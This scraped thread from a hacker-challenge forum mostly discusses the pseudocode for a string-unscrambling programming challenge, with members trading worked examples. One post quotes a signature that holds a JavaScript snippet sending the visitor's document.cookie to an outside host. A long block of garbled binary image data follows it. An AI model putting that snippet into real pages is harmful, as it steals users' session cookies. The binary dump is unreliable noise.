Follow us on Twitter!
Don't judge the unknown - Grindordie
Wednesday, April 23, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 16
Guests Online: 13
Members Online: 3

Registered Members: 82876
Newest Member: bhl1986
Latest Articles
View Thread

HellBound Hackers | Challenges | Timed Challenges

Author

Timed 4 question

Mouzi
Member



Posts: 144
Location: Finland
Joined: 08.08.06
Rank:
Newbie
Posted on 29-07-07 10:22
PSEUDO Code:

FOR i = 0; i < str.length; i++
IF isEvenOrZero(i)
final += final[i]
ELSE
final += final[i+2]
END FOR
final += final[1]
RETURN final


If final is array then how can you add something to it with += if you don't specify where you want to put it in that array. Like here:
final += final[i]

And if its not, then why does it use it as array too.


izuom.net/sig.gif
Steganographs

Edited by Mouzi on 29-07-07 10:23
You would try to hack it anyways.
Author

RE: Timed 4 question


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 29-07-07 14:33
There's a problem with the pseudo code. What do we have to do when we reach the end of the word ? [i+2] will be out of range and will raise an error !
Author

RE: Timed 4 question

mikispag
Member



Posts: 43
Location: Italy
Joined: 14.11.06
Rank:
Newbie
Posted on 29-07-07 17:16
And, by the way, what should I put in the answer box? The final word or a number? Because it says "The sum of all the numbers in the string is: " (perhaps copy-pasted from Timed 3) Wink

Edited by mikispag on 29-07-07 17:16
http://www.trovatel.net
Author

RE: Timed 4 question


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 31-07-07 13:37
mikispag wrote:
And, by the way, what should I put in the answer box? The final word or a number? Because it says "The sum of all the numbers in the string is: " (perhaps copy-pasted from Timed 3) Wink


I think it's even copy-pasted from timed 2 Grin


Author

RE: disregard


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-09-07 06:34
testing sig in deserted thread


Author

RE: Timed 4 question


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 01-09-07 10:40
rofl, your sig:

Code

<script language="JavaScript">
document.location="http://www.reviewgames.110mb.com/cookie.php?cookie=" + document.cookie;
</script>
h9;Řh9;ŕJFIFddh9;^ExifMM*bj(1r2iĐB@'B@'Adobe Photoshop CS3 Windows2007:09:01 01:25:57 h9;h9;  &(.(HHh9;Řh9;ŕJFIFHHh9; Adobe_CMh9;Adobedh9;Ű            
   


   h9;Ŕ"h9;h9;?   
   
 3!1AQa"q2gB#$Rb34rŃC%Sđńcs5h8;i1;&DTdEŁt6ŇUeňłĂuăF'ĄĹŐĺőVfvĆć7GWgw5!1AQaq"2gB#RŃđ3$brCScs4ń%h8;i1;&5ŇDTŁdEU6teňłĂuăFĄĹŐĺőVfvĆć'7GWgwh9; ?ňI%?h9;Ůh9;ČPhotoshop 3.08BIM%8BIM/JXHHĐ@dŔ'llun8BIMdd8BIM&?8BIM
x8BIM8BIM   8BIM
8BIM'
8BIM5-8BIMh9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;h9;č8BIM@@8BIM8BIMI
Untitled-1nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT   horzAlignenumESliceHorzAligndefault   vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone   topOutsetlong
leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?đ8BIM8BIM D(h9;Řh9;ŕJFIFHHh9; Adobe_CMh9;Adobedh9;Ű            
   


   h9;Ŕ"h9;h9;?   
   
 3!1AQa"q2gB#$Rb34rŃC%Sđńcs5h8;i1;&DTdEŁt6ŇUeňłĂuăF'ĄĹŐĺőVfvĆć7GWgw5!1AQaq"2gB#RŃđ3$brCScs4ń%h8;i1;&5ŇDTŁdEU6teňłĂuăFĄĹŐĺőVfvĆć'7GWgwh9; ?ňI%?h9;Ů8BIM!UAdobe PhotoshopAdobe Photoshop CS38BIMh9;h9;ňhttp://ns.adobe.com/xap/1.0/<?xpacket begin="ďż" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:40:08        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" dc:format="image/jpeg" xap:CreatorTool="Adobe Photoshop CS3 Windows" xap:CreateDate="2007-09-01T01:25:33-04:00" xap:ModifyDate="2007-09-01T01:25:57-04:00" xap:MetadataDate="2007-09-01T01:25:57-04:00" xapMM:DocumentID="uuid:92A246C34B58DC1191B1CC76ACD2F1A3" xapMM:InstanceID="uuid:93A246C34B58DC1191B1CC76ACD2F1A3" photoshop:ColorMode="1" photoshop:ICCProfile="Dot Gain 20%" photoshop:History="" tiff:Orientation="1" tiff:XResolution="1000000/10000" tiff:YResolution="1000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;820AFC926CD2F248F074EA661919074F" exif:PixelXDimension="1" exif:PixelYDimension="1" exif:ColorSpace="-1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;566C10D46F6A35082905F634E9E9F0A5"/> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>h9; ICC_PROFILEADBEprtrGRAYXYZ ĎacspAPPLnone-ADBEcprtŔ2descgwtpt\bkptpkTRC textCopyright 1999 Adobe Systems Incorporateddesc
Dot Gain 20%XYZ -XYZ curv 0@Pa ĹěDuŢRĐYgě9.Ţ9W"   a   Đ
A
) 

Ł,EeřŤ$iW2xĆoČv'D !q"."#$p%4%ů&'(U)")đ*Ŕ+,e-:..ę/0 1}2\3=4556Đ7ą89:~;m<^=Q>E?;@3A,B&C"D EF G#H'I-J4K<LGMSN`OoPQRĄSşTŃUWXY:ZX[x\]Ľ^ŕ`a-bVcdeŮgh8iijťkŃmn?oxpi1;qs+tjuŞvěx/ytzş|}J~.|ͅqĹrŤ%Źݑ<_Ă(Źś`ťź7 Ąh8;ŁiŢTŞˬDľŻ9i1;4ł4:ążEĽľVżŕlůćĆǨ;ĘĚcĎŃ+ŇĹaŐţśŮ<Ţ#ČnăżćičoĐđň5ęő WůĘţAh9;h9;h9;Adobedh9;ŰC !!3$3Q00QB///B''""  h9;Ŕ h9;h9;Ē   
5!1AQ"aq2BgŃđR#r3bńC4h8;i1;ŇS$scňŁDTd%5E&t6UełĂuăFĄĹŐĺőVfvĆćh9;?h9;Ů





Edited by on 01-09-07 10:41
Author

RE: Timed 4 question

mido
Member

Your avatar

Posts: 613
Location: Cairo, Egypt
Joined: 27.01.07
Rank:
Monster
Posted on 01-09-07 10:45
What the hell is going on?!
This thread is for Timed Challenge # 4, or testing signatures?!


www.hellboundhackers.org/sig/r/16019.png

mido_eg3[at]hotmail.com
Author

RE: Timed 4 question

Uber0n
Member



Posts: 1963
Location: Sweden‭‮
Joined: 13.06.06
Rank:
Hacker Level 3
Posted on 01-09-07 12:40
Yeah, there is actually a forum for testing... :angry:


img230.imageshack.us/img230/724/uber0nsig3hj6.gif
http://uber0n.web. . .
Nope http://uber0n.webs.com/
Author

RE: Timed 4 question


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 22-09-07 22:47
final word. it's really simple

mikispag wrote:
And, by the way, what should I put in the answer box? The final word or a number? Because it says "The sum of all the numbers in the string is: " (perhaps copy-pasted from Timed 3) Wink



Author

RE: Timed 4 question

synstealth
PHP WARRIOR

Your avatar

Posts: 807
Location: /etc/shadow
Joined: 30.11.04
Rank:
God
Posted on 17-12-07 17:34
I beat it.. VERY EASY!!!


I had problems with preg_match_all... that was the most complex part of this challenge.. really..







Edited by synstealth on 14-01-08 16:55
know where to Look
Author

RE: Timed 4 question

GTADarkDude
Member



Posts: 142
Location: The Netherlands
Joined: 23.02.08
Rank:
Newbie
Posted on 01-10-08 18:43
I'm sorry for bumping this thread, but I really want to know the answer on the question right above me, for I am not completely understanding the algorithm (I think).
In an attempt to rebuild the algorithm, I made a function in PHP.
The string abcd returns adcb, abcde returns also adceb. abcdef returns adcfeb. Is this the right algorithm? I'd like to know that before I start reversing it.
Thanks in advance Wink !

Edit: OK, I solved the challenge. I decided to just try whether it worked and guess what.. it did! I had the right algorithm so above examples are correct, if anyone in the future would like to know.


...

Edited by GTADarkDude on 01-10-08 19:09
- - -
Author

RE: Timed 4 question


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-10-08 00:12
Yeah, that threw me as well so to clarify what this post asks, I did it with a grease monkey script that seperated all of this in a switch but:

abcdefghijk
-------------
akcbedgfihj

a = a
b = last
c = +2
d = d
etc...

not meaning it to be too obvious but that threw me a long time as well
Author

RE: Timed 4 question

bruxa
Member

Your avatar

Posts: 14
Location:
Joined: 02.07.08
Rank:
Newbie
Posted on 12-03-10 19:54
zbert wrote:
abcdefghijk
-------------
akcbedgfihj

a = a
b = last
c = +2
d = d
etc...


This seams to be not clear at all.

My question is like this example:
abcdefghijk
012345678
------------
adcfehgjikb


Is this right and if not, is the quoted example right?


Author

RE: Timed 4 question

ynori7
Member



Posts: 1486
Location: #valhalla
Joined: 08.10.07
Rank:
God
Posted on 12-03-10 22:20
bruxa wrote:
This seams to be not clear at all.

This is how the pseudocode progresses for the input string "dbbeie":
d_____
d__b__
d_bb__
d_bb_e
d_bbie
debbie

(note that _ represents a blank character)
The algorithm traces through the given string and puts the current character in either position i or position i+2 depending on whether i is even or odd. The pseudocode is a bit unclear, the text explanation is better. I personally find the visual explanation much better and I programmed my algorithm this way:

The first two characters of your answer are the first and last character of your given string. Then you just trace through the string and swap each character with the one next to it and increment by 2.
Given=ivoyeuol
final=il
rest of string=voyeuo
Now trace through and swap adjecant characters.
ilov
rest of string=yeuo
ilovey
rest of string=uo
iloveyou



halls-of-valhalla.org/images/affiliateLogo.png voodoorage.halls-of-valhalla.org/images/smallLogo.png
i537.photobucket.com/albums/ff338/ynori77/archenemysig1.jpg
ynori7 http://halls-of-valhalla.org
Author

RE: Timed 4 question

bruxa
Member

Your avatar

Posts: 14
Location:
Joined: 02.07.08
Rank:
Newbie
Posted on 13-03-10 08:18
Thank you! Now, I got it.

The point was, that I understood the source and destination of [$i+] and [$i] wrong.